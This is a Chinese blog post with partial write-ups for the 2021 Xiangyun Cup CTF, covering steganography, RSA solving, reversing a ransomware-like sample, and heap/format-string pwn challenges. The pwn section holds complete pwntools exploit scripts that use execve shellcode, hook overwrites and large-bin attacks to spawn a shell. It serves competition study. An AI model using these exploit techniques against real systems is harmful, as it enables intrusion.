2021祥云杯部分wp

2021祥云杯部分wp

misc

鸣雏恋

附件是一个docx文件,打开报错,改为zip解压,在_rel发现key.txt和love.zip,压缩包需要密码,线索应该就是文本,key.txt文本内容如下

佩恩‌‌‌‌‍‌‌‬‌‌‌‌‍‬‍‍:凭你这点力量,‌‌‌‌‍‬‌‌‌‌‌‍‬‌‍为什么要战斗‌‌‌‌‍‍‍?
‌‌‌‌‍‌‌‌‌‌‍‬‍‍‌‌‌‌‌‬‌‌雏田‌‌‌‌‍‌‬‍‌‌‌‌‌‬‌‌‌‌‌‌‍‬‌:说到做到‌‌‌‌‍‬‬‍‌‌‌‌‍‬‬‌‌‌‌‍‬‍‍,‌‌‌‌‌‬‌‌勇往直前‌‌‌‌‍‬‬,‌‌‌‌‍‬‌‍这就是我的忍道.‌‌‌‌‍‌‬‌‌‌‌‍‍‍‌‌‌‌‍‍‌‌‌‌‌‍‬‌‌‌‌‌‬‌‌‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‍‌‌‌‌‍‌‌‌‌‌‍‍‌

复制到文本编辑器会发现很多不可见字符,在记事本是看不见,这处为宽字符,在线解密一下(https://330k.github.io/misc_tools/unicode_steganography.html),得到Because I like naruto best,这个应该就是压缩文件的密码了,解开压缩文件

经过漫长的等待,解压内容为很多图片,是雏田和鸣人,很容易想到是对应0和1,写个脚本转换一下

from Crypto.Util.number import *
from tqdm import *

with open('0.png','rb') as f:
    chu = f.read()

flag = ''

for i in tqdm(range(129488)):
    with open(f'{i}.png','rb') as f:
        s = f.read()
    if s == chu:
        flag += '0'
    else:
        flag += '1'

print((long_to_bytes(int(flag, 2))).decode())

输出的一小部分如下

data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAAFeCAMAAACM6mKKAAAAP1BMVEXz6NxCN3W0mJPStaT/8qX////++Og6MEL/6rj/vmXGg...

base64图片转一下,得到flag

ChieftainsSecret

图片是一张老式电话的图,docx文档提示flag是电话号码,图片看起来有点大,尝试分解一下,得到rar文件,解压后是一些数据和电路图

数据部分截取部分如下

PC0等数据对应电路图的接口,推测可能和三角函数有关,搜了一下没发现什么东西,只发现这个是个角度传感器,既然是角度,那么需要计算相关的角度,这里又给了四组数据,可能计算方法是sinP-sinN/cosP-cosN,写程序计算一下

from math import atan2

sinP = []
sinN = []
cosP = []
cosN = []

data = open("adc.csv").readlines()
data = data[1:]

for i in data:
    s = i.strip().split(",")
    sinP.append(s[0])
    sinN.append(s[1])
    cosP.append(s[2])
    cosN.append(s[3])

for i in range(len(sinP)):
    sinP_ = float(sinP[i])
    sinN_ = float(sinN[i])
    cosP_ = float(cosP[i])
    cosN_ = float(cosN[i])
    sinX = (sinP_-sinN_)*1.0
    cosX = (cosP_-cosN_)*1.0

    tanX = atan2(sinX,cosX)
    angle = tanX*57.29
    print(angle)

将取出的数据复制到wps然后画出折线图

发现其中高峰一共11个,这个就是对应号码的角度了,提取出来

-151 -152 -79 -128  161 -103 -175 86 136 160 -151

根据画圆图并覆盖电话图,大致推算一下号码

77085962457

crypto

Random_RSA

from Crypto.Util.number import *
import gmpy2
import libnum
import random
import binascii
import os

flag=r'flag{}'

p=getPrime(512)
q=getPrime(512)
e=0x10001
n=p*q
ct=pow(flag,e,n)
print("n="+ n)
print("ct="+ ct)#密文

dp=r''
seeds = []
for i in range(0,len(dp)):
    seeds.append(random.randint(0,10000))

res = [] 
for i in range(0, len(dp)):
    random.seed(seeds[i])
    rands = []
    for j in range(0,4):
        rands.append(random.randint(0,255))

    res.append(ord(dp[i]) ^ rands[i%4])
    del rands[i%4]
    print(str(rands))

print(res) 
print(seeds)

算是个签到题吧,种子给了,各项东西也给了,逆过程就可以求出dp,加上e的值不大,爆破就能得到d,然后就能解开rsa加密,得到flag

from gmpy2 import *
import binascii
import random

seeds = [4827, 9522, 552, 880, 7467, 7742, 9425, 4803, 6146, 4366, 1126, 4707, 1138, 2367, 1081, 5577, 4592, 5897, 4565, 2012, 2700, 1331, 9638, 7741, 50, 824, 8321, 7411, 6145, 1271, 7637, 5481, 8474, 2085, 2421, 590, 7733, 9427, 3278, 5361, 1284, 2280, 7001, 8573, 5494, 7431, 2765, 827, 102, 1419, 6528, 735, 5653, 109, 4158, 5877, 5975, 1527, 3027, 9776, 5263, 5211, 1293, 5976, 7759, 3268, 1893, 6546, 4684, 419, 8334, 7621, 1649, 6840, 2975, 8605, 5714, 2709, 1109, 358, 2858, 6868, 2442, 8431, 8316, 5446, 9356, 2817, 2941, 3177, 7388, 4149, 4634, 4316, 5377, 4327, 1774, 6613, 5728, 1751, 8478, 3132, 4680, 3308, 9769, 8341, 1627, 3501, 1046, 2609, 7190, 5706, 3627, 8867, 2458, 607, 642, 5436, 6355, 6326, 1481, 9887, 205, 5511, 537, 8576, 6376, 3619, 6609, 8473, 2139, 3889, 1309, 9878, 2182, 8572, 9275, 5235, 6989, 6592, 4618, 7883, 5702, 3999, 925, 2419, 7838, 3073, 488, 21, 3280, 9915, 3672, 579]
n=81196282992606113591233615204680597645208562279327854026981376917977843644855180528227037752692498558370026353244981467900057157997462760732019372185955846507977456657760125682125104309241802108853618468491463326268016450119817181368743376919334016359137566652069490881871670703767378496685419790016705210391
c=61505256223993349534474550877787675500827332878941621261477860880689799960938202020614342208518869582019307850789493701589309453566095881294166336673487909221860641809622524813959284722285069755310890972255545436989082654705098907006694780949725756312169019688455553997031840488852954588581160550377081811151
res = [55, 5, 183, 192, 103, 32, 211, 116, 102, 120, 118, 54, 120, 145, 185, 254, 77, 144, 70, 54, 193, 73, 64, 0, 79, 244, 190, 23, 215, 187, 53, 176, 27, 138, 42, 89, 158, 254, 159, 133, 78, 11, 155, 163, 145, 248, 14, 179, 23, 226, 220, 201, 5, 71, 241, 195, 75, 191, 237, 108, 141, 141, 185, 76, 7, 113, 191, 48, 135, 139, 100, 83, 212, 242, 21, 143, 255, 164, 146, 119, 173, 255, 140, 193, 173, 2, 224, 205, 68, 10, 77, 180, 24, 23, 196, 205, 108, 28, 243, 80, 140, 4, 98, 76, 217, 70, 208, 202, 78, 177, 124, 10, 168, 165, 223, 105, 157, 152, 48, 152, 51, 133, 190, 202, 136, 204, 44, 33, 58, 4, 196, 219, 71, 150, 68, 162, 175, 218, 173, 19, 201, 100, 100, 85, 201, 24, 59, 186, 46, 130, 147, 219, 22, 81]
e=0x10001

dp = ''
for i in range(len(res)):
    random.seed(seeds[i])
    rands = []
    for j in range(0,4):
        rands.append(random.randint(0,255))

    dp += chr((res[i] ^ rands[i%4]))
    del rands[i%4]
#print(dp)
dp = int(dp)
def getd(n,e,dp):
    for i in range(1,e):
        if (dp*e-1)%i == 0:
            if n%(((dp*e-1)//i)+1)==0:
                p=((dp*e-1)//i)+1
                q=n//(((dp*e-1)//i)+1)
                phi = (p-1)*(q-1)
                d = invert(e,phi)%phi
                return d
d = getd(n,e,dp)
m = pow(c,d,n)
print (binascii.unhexlify(hex(m)[2:]))

myRSA

根据给出的文件,我们重点看加密函数

def encry(message,key,p,q,e):
    k1,k2 = key[random.randint(0,127)],key[random.randint(0,127)]
    x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1) 
    y = 2*p*q + p + q
    z = k1 + k2 
    c = pow(b2l(message),e,p*q)
    return x * c + y * c + z

先整理一下,大致就是

\[(x+y)*(c)+z \]

反推上面的式子,就是

\[x+y=(p+q)^3-(p+q)^2+2pq+2pq+p+q=(p+q)^3-(p+q)^2+(p+q)+4pq \]

那么加密后的密文就表示为

\[c'=((p+q)^3-(p+q)^2+(p+q)+4pq)*c+4pq+z \]

假设我们输入m为1,那么c'=(p+q)^3-(p+q)^2+(p+q)+8pq+z

这样的情况,直接对c'开三次方,就能得到p+q的大概值,但是存在误差,我们再结合以下式子

\[(p-q)^2=(p+q)^2-4n \]

也就是说算出的p+q的平方减去4n是可以被开方的,这样就是能求出p,q,自然就能求出flag

from gmpy2 import *
from Crypto.Util.number import *
from pwn import *
from hashlib import *
import string

r = remote('47.104.85.225',49877)

def sha_(end,sha):
    String = string.ascii_letters+string.digits
    for a in String:
        for b in String:
            for c in String:
                for d in String:
                    s=(a+b+c+d).encode()+end
                    if sha256(s).hexdigest()==sha:
                        return a+b+c+d

r.recvuntil('SHA-256(?+')
end = r.recv(12)
r.recvuntil('==')
sha = r.recvuntil('\n')[:-1].decode()
bypass = sha_(end,sha)
r.sendline(bypass)
r.recvuntil('n = ')
n = int(r.recvuntil('\n')[:-1])
r.recvuntil('3. exit\n')
r.sendline('1')
r.recvuntil('your message')
r.sendline('\x01')
r.recvuntil('Your encry message:\n')
c = int(r.recvuntil('\n')[:-1])
p_q = iroot(c,3)[0]

while True:
	p_q = p_q-1
	if iroot(p_q**2-4*n,2)[1]:
		m_ = p_q**3-p_q**2+p_q+4*n
		p = (p_q+iroot(p_q**2-4*n,2)[0])//2
		assert n%p == 0
		q = n//p
		break

r.recvuntil('3. exit\n')
r.sendline('2')
r.recvuntil('This is your favourite:\n')
c = int(recvuntil('\n\n')[:-1])
c = c//m_
Fai = (p-1)*(q-1)
e = 0x10001
d = invert(e,Fai)
m = pow(c,d,n)
print(long_to_bytes(m))

reverse

Dizzy

ida逆一下,,,经过漫长的等待加未响应,反汇编后发现就是加减的异或运算而已,最后和一个定值数组相等就行,逆回去的时候,加减互换,异或就不用了,逆推,先将程序内容逆推

s = ''' 
  flag[6] += flag[3];
  flag[10] -= flag[27];
  flag[10] += flag[6];
  flag[14] += flag[3];
  flag[28] ^= flag[24];
  flag[30] += 33;
  flag[12] += 33;
  flag[24] ^= flag[21];
  flag[22] += 33;
  。。。。(节省篇幅省略大部分内容)
  '''
a = (s.splitlines()[::-1])[1:]
b = a[:-1]
flag = [0]*len(b)
for i in range(len(b)):
	if '+' in b[i]:
		flag[i] = b[i].replace('+','-')
	if '-' in b[i]:
		flag[i] = b[i].replace('-','+')
	if '^' in b[i]:
		flag[i] = b[i]	
		
for i in flag:
	print(i)

然后将逆序后的代码用语言跑一下即可

rua

macos平台的题,待复现

勒索解密

附件是一个exe文件和一个名字叫flag.bmp.ctf_crypter的文件,推测是通过逆向该病毒样本并解密该文件得到flag,无壳,ida分析

注意:此程序基于win32,内含api可以查阅微软的文档,就是比较烦

先看程序的主函数部分

  v20 = 15;
  v19 = 0;
  LOBYTE(lpMem) = 0;
  strcpy(&lpMem, ".bmp", 4u);
  v43 = 0;
  sub_406D00((int)&v16, v3, &lpMem, v17[0]);
  v43 = -1;
  if ( v20 >= 0x10 )
  {
    v4 = (char *)lpMem;
    if ( v20 + 1 >= 0x1000 )
    {
      if ( (unsigned __int8)lpMem & 0x1F )
LABEL_4:
        _invalid_parameter_noinfo_noreturn(v4);
      v5 = *((_DWORD *)lpMem - 1);
      if ( v5 >= (unsigned int)lpMem )
        _invalid_parameter_noinfo_noreturn(lpMem);
      v6 = (char *)lpMem - v5;
      if ( (char *)lpMem - v5 < (char *)4 )
        _invalid_parameter_noinfo_noreturn(v6);
      if ( (unsigned int)v6 > 0x23 )
        _invalid_parameter_noinfo_noreturn(v6);
      v4 = (char *)*((_DWORD *)lpMem - 1);
    }
    j_j___free_base(v4);
  }
  fileinfo = 0i64;
  v42 = 0;
  v43 = 1;
  sub_405AA0(1, (int)"C:\\XX_CTF_XX\\", (int)&fileinfo);// 得到一个文件信息的结构体
  fileinfo2 = (_DWORD *)fileinfo;
  if ( (_DWORD)fileinfo != HIDWORD(fileinfo) )
  {
    do
    {
      v8 = fileinfo2[6];
      v9 = fileinfo2[7];
      v40 = 15;
      v39 = 0;
      LOBYTE(v38) = 0;
      get_name(&v38, fileinfo2, 0, 0xFFFFFFFF); // C:\\XX_CTF_XX\\a.bmp
      LOBYTE(v43) = 2;
      if ( v9 | v8 && v9 <= 0 )
      {
        if ( v8 <= 0x100000 )
        {
          get_newname((int)&v21, (int)&v38);    // 加上了后缀名C:\\XX_CTF_XX\\a.bmp.ctf_crypter
          memset(&phProv, 0, 0x54u);            // 后面对phProv做事情
          v28 = 15;
          v27 = 0;
          v26 = 0;
          v33 = 15;
          v32 = 0;
          phProv[11] = 0;
          phProv = 0;
          hKey = 0;
          v25 = 0;
          v30 = 0;
          v35 = 0;
          v36 = 0;
          v29 = 0;
          v34 = 0;
          v37 = 0;
          LOBYTE(v43) = 4;
          v10 = (char *)&v21;                   // 新文件名在v10
          if ( v22 >= 0x10 )
            v10 = (char *)v21;
          v11 = (char *)&v38;                   // 原文件名在v11
          if ( v40 >= 0x10 )
            v11 = (char *)v38;
          if ( CryptAcquireContextA(
                 &phProv,
                 0,
                 "Microsoft Enhanced RSA and AES Cryptographic Provider",
                 0x18u,
                 0xF0000000) )
          {
            if ( *v11 )
              v11_len = strlen(v11);
            else
              v11_len = 0;
            strcpy(&v26, v11, v11_len);         // 复制字符串
            if ( *v10 )
              v10_len = strlen(v10);
            else
              v10_len = 0;
            strcpy(&phProv[11], v10, v10_len);  // 新文件名
            sub_4018F0(&phProv);                // 主体加密函数

主要就是创建了一个加密后的文件名,然后调用加密函数,我们看加密函数

  phProv = (HCRYPTPROV *)this;
  if ( !(unsigned __int8)sub_4010F0() )
    return 0;
  pbData[0] = 0;
  *(_QWORD *)&pbData[1] = 0i64;
  *(_DWORD *)&v21[1] = 0;
  v22 = 0;
  v23 = 0;
  v9 = 0;
  v10 = 0i64;
  v11 = 0;
  v13 = 0x67452301;                             // md5密钥
  v14 = 0xEFCDAB89;
  v15 = 0x98BADCFE;
  v16 = 0x10325476;
  v17 = 0;
  v18 = 0;
  sub_407290(0x41u);                            // 字符串md5
  sub_4073F0(&v9, (int)&v13);
  *(_DWORD *)pbData = v11;
  v20 = v10;
  *(_DWORD *)&v21[4] = v9;
  *(_DWORD *)v21 = _time64(0);                  // 时间戳??大概就是生成一个包含时间戳的密钥,放在pbData里
  phHash = 0;                                   // 句柄
  v3 = 0;
  if ( CryptCreateHash(*phProv, 0x800Cu, 0, 0, &phHash) )// 0x800C 对应SHA-256
  {
    if ( CryptHashData(phHash, pbData, 0x10u, 0) )
    {
      v5 = CryptDeriveKey(*phProv, 0x660Eu, phHash, 0, phProv + 1);// 0x660Eu对应AES-128,产生aes密钥
      v3 = 0;
      v4 = 1;
      if ( v5 )
        v3 = 1;
    }
  }
  if ( phHash )
    CryptDestroyHash(phHash);                   // 关闭句柄
  if ( !v3 )
    return 0;
  if ( !rsa_public(phProv, v4) )                // 解密base64,得到rsa公钥,给phProv
    return 0;
  if ( !sub_401700(phProv, pbData, v6) )        // rsa对pbData进行加密
    return 0;
  v7 = 16 * ((signed int)(phProv[9] + 15) / 16 + 1);
  v8 = operator new[](16 * ((signed int)(phProv[9] + 15) / 16 + 1), (const struct std::nothrow_t *)&unk_435EB0);
  phProv[18] = (HCRYPTPROV)v8;
  if ( !v8 )
    return 0;
  memset(v8, 0, v7);
  memmove_0((void *)phProv[18], (const void *)phProv[10], phProv[9]);// 将长度为phProv[9]和phProv[10]内容放到phProv[18]
  if ( !sub_4017D0(phProv) )                    // 对phProv[18]进行aes加密
    return 0;
  sub_401400(phProv);
  return 1;

加密函数先是用了md5一个字符串,然后取12字节加上当前时间戳4字节形成aes密钥,放在phData里面,然后又使用了rsa对aes密钥进行加密,后面的话就是aes对文件进行加密,最后决定输出的格式,看一下这个函数

 else
  {
    sub_402620(&v12, v1[18], v1[17], v1[17] >> 31);// 加密[18]的部分
    sub_402620(&v12, v1[19], v1[20], 0);        // rsa加密的部分
    sub_402620(&v12, (int)(v1 + 20), 4, 0);
    v6 = v12;
    v7 = 1;

在这里看出格式就是加密的bmp文件+加密的aes+加密的aes的格式

虽然程序花里胡哨,但是解密并不是一个很难的事,因为我们看到文件格式已经知道了,去掉最后的部分进行解密就行,aes的密钥的生成和时间戳有关,提取出时间戳,然后动态调试一下就能得到aes密钥,然后直接解密就行,并且这个rsa加密aes密钥似乎不用这个

import os
import struct
import hashlib
from Crypto.Cipher import AES

def hexdump(data,data1):
    while len(data)%16 != 0:
        data += data1
    return data

pathname = 'flag.bmp.ctf_crypter'
times = ''
for i in struct.pack("<l",int(os.path.getmtime(pathname))):
    times += hex(i)[2:].zfill(2)
key = "B22FC60E4FD4544B{}21E7B18E".format(times)
key = bytes.fromhex(key)

data = open(pathname,'rb').read()
data = data[:-0x84]

key = hashlib.new('sha256',key).digest()[:16]
aes = AES.new(key, AES.MODE_CBC,iv=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
flag = aes.decrypt(hexdump(data,b'\x00'))
with open('flag.bmp','wb') as f:
    f.write(flag)

解密出来的文件有问题,但是ps能打开

后面我再写个c++程序吧

Rev_APC(未解开)

windows驱动,待复现

LightningSystem(神仙题)

一遇到虚拟机就萎了,日后想起的时候并且有能力再复现

pwn

JigSaw'sCage

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开,ida分析

unsigned __int64 __usercall sub_15F0@<rax>(__int64 a1@<rbp>, __int64 a2@<rsi>)
{
  const char *v2; // rdi
  unsigned __int64 result; // rax
  unsigned __int64 v4; // rt1
  int v5; // [rsp-20h] [rbp-20h]
  int v6; // [rsp-1Ch] [rbp-1Ch]
  __int64 v7; // [rsp-18h] [rbp-18h]
  unsigned __int64 v8; // [rsp-10h] [rbp-10h]
  __int64 v9; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v9 = a1;
  v8 = __readfsqword(0x28u);
  v2 = (_BYTE *)(&off_18 + 6);
  v7 = sub_11C0(30LL);
  v5 = 0;
  v6 = (signed int)rand_0(30LL) % 16;
  while ( dword_5010 )
  {
    printf_0("The result is %d\n", (unsigned int)v6);
    printf_0(
      "Are you willing to use your few subsequent attempts :%d to get a chance to rethrow?\n",
      (unsigned int)dword_5010);
    puts_0();
    a2 = (__int64)&v5;
    scanf();
    if ( !v5 )
    {
      if ( v6 > 14 )
      {
        a2 = (-v7 & (qword_5148 + 1024 + v7 - 1)) - (-v7 & qword_5148);
        v2 = (const char *)(-v7 & qword_5148);
        mprotect_0(v2, a2, 7LL);
      }
      else
      {
        a2 = v6;
        v2 = (const char *)(-v7 & qword_5148);
        mprotect_0(v2, v6, 7LL);
      }
      break;
    }
    --dword_5010;
    v2 = "OK,Let's Try Again?";
    puts_0();
  }
  v4 = __readfsqword(0x28u);
  result = v4 ^ v8;
  if ( v4 != v8 )
    result = sub_1140(v2, a2);
  return result;
}

虽然ida不给力,一些函数得自己分析,但是大概能看到漏洞,当v6大于14的时候可以让堆变成可执行,然后构造payload即可

from pwn import *

context(os = "linux", arch = "amd64", log_level= "debug")
#r = process(['./ld-2.31.so','./JigSAW'],env={"LD_PRELOAD":"./xiangyun_JigSAW_libc.so"})
r = remote("47.104.71.220", 10273)

def add(idx):
    r.sendlineafter("Choice :", "1")
    r.sendlineafter("Index? :", str(idx))

def edit(idx,content):
    r.sendlineafter("Choice :", "2")
    r.sendlineafter("Index? :", str(idx))
    r.sendafter("iNput:", content)

def test(idx):
    r.sendlineafter("Choice :", "4")
    r.sendlineafter("Index? :", str(idx))

shellcode0 = '''
mov rsp,rdx
add rsp,0x20
push rsp
'''
shellcode1 = '''
mov rax,0x68732f6e69622f
add rsp,0x20
push rsp
'''
shellcode2 = '''
push rax
mov rdi,rsp
xor rsi,rsi
add rsp,0x28
push rsp
'''
shellcode3 = '''
xor rdx,rdx
mov rax,59
syscall
'''

r.sendlineafter("Name:", "hjx")
r.sendlineafter("Choice:",str(0x10<<32))
add(0)
add(1)
add(2)
add(3)
edit(0,asm(shellcode0))
edit(1,asm(shellcode1))
edit(2,asm(shellcode2))
edit(3,asm(shellcode3))
test(0)
r.interactive()

note

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

保护全开,ida分析

程序存在scanf的格式化字符串漏洞,但是没有free函数

__int64 sub_11DA()
{
  char buf; // [rsp+0h] [rbp-70h]
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("say ? ");
  read(0, &buf, 0x64uLL);
  printf("? ", &buf);
  __isoc99_scanf(&buf, &buf);
  printf("know");
  return 0LL;
}

可以通过_IO_2_1_stdout_泄露libc,可见这位师傅的讲解https://www.jianshu.com/p/27152c14e2e7,途中需要动态调试找一下偏移量,计算出libc基地址

之后就是one_gadget加上 realloc调栈配合,需要将malloc_hook填上realloc函数的基地址+offest
然后将realloc_hook填上one_gadget。
那么我们的执行流程就是,当我们调用malloc时,因为malloc_hook被劫持,rip就去realloc基地址+offest处执行,之后自然还会跳到realloc_hook去执行one_gadget

from pwn import *

context(os = "linux", arch = "amd64", log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
r = process(['./ld-2.23.so','./note'],env={"LD_PRELOAD":"./xiangyun_note_libc-2.23.so"})
libc = ELF('./xiangyun_note_libc-2.23.so')

def add(inx,content):
libc = ELF('./xiangyun_note_libc-2.23.so')

def add(size,content):
    r.sendlineafter('choice:', '1')
    r.sendlineafter('size:', str(size))

def say(content,content_):
    r.sendlineafter('choice: ','2')
    r.sendlineafter('say ?',content)
    r.sendlineafter('? ',content_)

def show():
    r.sendlineafter('choice: ','3')

payload = p64(0xfbad1800)+p64(0)*3
say('%7$s\x00',payload)
#print(hex(u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))))
libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c36e0

one_gadget = libc_base+[0x45226,0x4527a,0xf03a4,0xf1247][1]
malloc_hook = libc_base+libc.sym["__malloc_hook"]
realloc = libc_base+libc.sym["realloc"]
realloc_hook = libc_base + libc.sym["__realloc_hook"]
print('malloc_hook=>',hex(malloc_hook))
print('realloc=>',hex(realloc))

#realloc_hook = malloc_hook-8

payload = '%7$s'.ljust(8,'\x00')+p64(malloc_hook-8)
payload_ = p64(one_gadget)+p64(realloc+12)#这个realloc的偏移需要自行确定
say(payload,payload_)

add(1,'a')
gdb.attach(r)
r.interactive()

PassWordBox_FreeVersion

64位程序,保护全开

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ida分析一下,但是ida的函数有点问题,手动识别一下函数

   printf_0("Length Of Your Pwd:");
    scanf_0("%u", &size);
    if ( size <= 0x100 )
    {
      s = malloc_0(size);
      printf_0("Your Pwd:");
      getchar__();
      fgets_0(s, size + 1, stdin);              // off-by-one
      v1 = (const char *)s;
      sub_13D5(s, size);                        // 加密函数,其中加密异或的函数是随机数
      *((_DWORD *)&unk_4078 + 8 * i) = size;
      *((_QWORD *)&unk_4070 + 4 * i) = s;
      dword_407C[8 * i] = 1;
      if ( !qword_4048 )
      {
        v2 = *((_QWORD *)&unk_4070 + 4 * i);
        v1 = "First Add Done.Thx 4 Use. Save ID:%s";
        printf_0("First Add Done.Thx 4 Use. Save ID:%s");
        qword_4048 = 1LL;
      }
    }

可以看到add函数存在漏洞,可以申请堆内容为0,泄露随机数,然后通过off-by-one构造堆重叠造成泄露libc, 然后利用__free_hook

因为版本是2.27,所以引入了tcache机制,所以在处理的时候需要考虑,需要申请完tcache链,然后再释放的堆才能进入unsorted bin

大佬的exp本地复现失败,具体原因再探究

from pwn import *

context(os = "linux", arch = "amd64")
context.log_level= "debug"
context.terminal = ['tmux', 'splitw', '-h']

r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/ld-2.27.so','./PassWordBox_FreeVersion'],env={"LD_PRELOAD":"/root/LibcSearcher/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so"})
libc = ELF('./xiangyun_PassWordBox_FreeVersion_libc.so.6')

def add(idx,size,content):
    r.sendlineafter('Choice:','1')
    r.sendlineafter('Save:',str(idx))
    r.sendlineafter('Pwd:',str(size))
    r.sendafter('Pwd:',content)

def show(idx):
    r.sendlineafter('Choice:','3')
    r.sendlineafter('Check:',str(idx))

def delete(idx):
    r.sendlineafter('Choice:','4')
    r.sendlineafter('Delete:',str(idx))

add(0,1,'\x00')
r.recvuntil('Save ID:')
r_num = u64(r.recv(8))
print(hex(r_num))

add(1,0xF0,'a'*0xF0)
add(2,0x80,'b'*0x80)
add(3,0x80,'c'*0x80)
add(4,0xF0,'d'*0xF0)

for i in range(5,12):
    add(i,0xF0,'a'*0xF0)

for i in range(5,12):
    delete(i)

delete(3)
payload = 'a'*0x80+p64((0x100 + 0x90 + 0x90)^r_num)+'\x00'
add(3,0x88,payload)
delete(1)
delete(4)

for i in range(5,12):
    add(i,0xF0,'a'*0xF0)

add(1,0xF0,'a'*0xF0)
show(2)
r.recvuntil('Pwd is: ')
#print(hex(u64(r.recv(8)) ^ r_num))
libc_base = (u64(r.recv(8)) ^ r_num)-0x3ebca0

system_addr = libc_base + libc.sym['system']
free_hook_addr = libc_base + libc.sym['__free_hook']
print('free_hook_addr-->',hex(free_hook_addr))

delete(3)
payload = 'b'*(0x80)+(p64(0^r_num)+p64(0x91^r_num)+p64(free_hook_addr^r_num))

add(3,0x98,payload)

add(20,0x80,p64(u64('/bin/sh\x00')^r_num)+'c'*0x78)
add(21,0x80,p64(system_addr^r_num)+'d'*0x78)

delete(11)
gdb.attach(r)

r.interactive()

PassWordBox_ProVersion

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开,大概简介程序的功能,添加功能申请的堆大小 为LARGEbin,并且内容经过加密,加密的方式的上一题的相同,都是异或一个整数, 删除函数和恢复函数配合存在uaf

先利用Uaf泄露libc,之后可以考虑Large attack, 可以通过改写large bin的bk_nextsize的值来想指定的位置+0x20的位置写入一个堆地址(daydayup师傅的比较详细, https://www.anquanke.com/post/id/251329 )之后覆写free_hook为system,进而getshell

from pwn import *

context(os = "linux", arch = "amd64")
#context.log_level= "debug"
context.terminal = ['tmux', 'splitw', '-h']

r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./PassWordBox_ProVersion'],env={"LD_PRELOAD":"/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so"})
libc = ELF('./xiangyun_PassWordBox_ProVersion_libc.so')

def add(idx, size,ID='hhh',pwd='a'):
    r.sendafter("Input Your Choice:", '1')
    r.sendlineafter("Which PwdBox You Want Add:", str(idx))
    r.sendafter("Input The ID You Want Save:", ID)
    r.sendlineafter("Length Of Your Pwd:", str(size))
    r.sendlineafter("Your Pwd:", pwd)

def show(idx):
    r.sendafter("Input Your Choice:", '3')
    r.sendlineafter("Which PwdBox You Want Check:", str(idx))

def delete(idx):
    r.sendafter("Input Your Choice:", '4')
    r.sendlineafter("Idx you want 2 Delete:", str(idx))

def edit(idx,content):
    r.sendafter("Input Your Choice:", '2')
    r.sendlineafter("Which PwdBox You Want Edit:", str(idx))
    r.send(content)

def recover(idx):
    r.sendafter("Input Your Choice:", '5')
    r.sendlineafter("Idx you want 2 Recover:", str(idx))

payload = "\x00"*0x8
add(0,0x448,pwd=payload)
r.recvuntil("Save ID:")
r_num = u64(r.recvn(8))
print('r_num',hex(r_num))

add(1,0x500)
add(2,0x438)
add(3,0x500)

add(6,0x500)
add(7,0x500)

delete(0)
recover(0)
show(0)
r.recvuntil("Pwd is: ")
temp_addr = (u64(r.recvn(8)))^r_num
print('temp_addr',hex(temp_addr))
libc_base = ((temp_addr))-0x1ebbe0
print('libc_base',hex(libc_base))

add(4,0x458)
delete(2)

tcache_max_bin = libc_base+0x1eb2d0
print('tcache_max_bin',hex(tcache_max_bin))
payload = p64(temp_addr)*2+p64(0)+p64(tcache_max_bin-0x20)

edit(0,payload)
add(5,0x458)

delete(7)
delete(6)

recover(6)
edit(6, p64(libc.sym['__free_hook']+libc_base))
print('__free_hook',hex(libc.sym['__free_hook']+libc_base))

add(6,0x500)
add(7, 0x500)
edit(7, p64(libc.sym['system']+libc_base))
print('libc.system',p64(libc.sym['system']+libc_base))
print('system',hex(libc.sym['system']+libc_base))
edit(1, "/bin/sh\x00")
delete(1)

r.interactive()

其他有空再研究

web

非web选手,可见其他师傅的wp‌‬‌‌‌‌‍‍‍‌‌‌‌‍‍‌‌‌‌‌‍‬‌‌‌‌‌‬‌‌‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‍‌‌‌‌‍‌‌‌‌‌‍‍‌

posted @ 2021-08-30 21:33  寒江寻影  阅读(232)  评论(0编辑  收藏  举报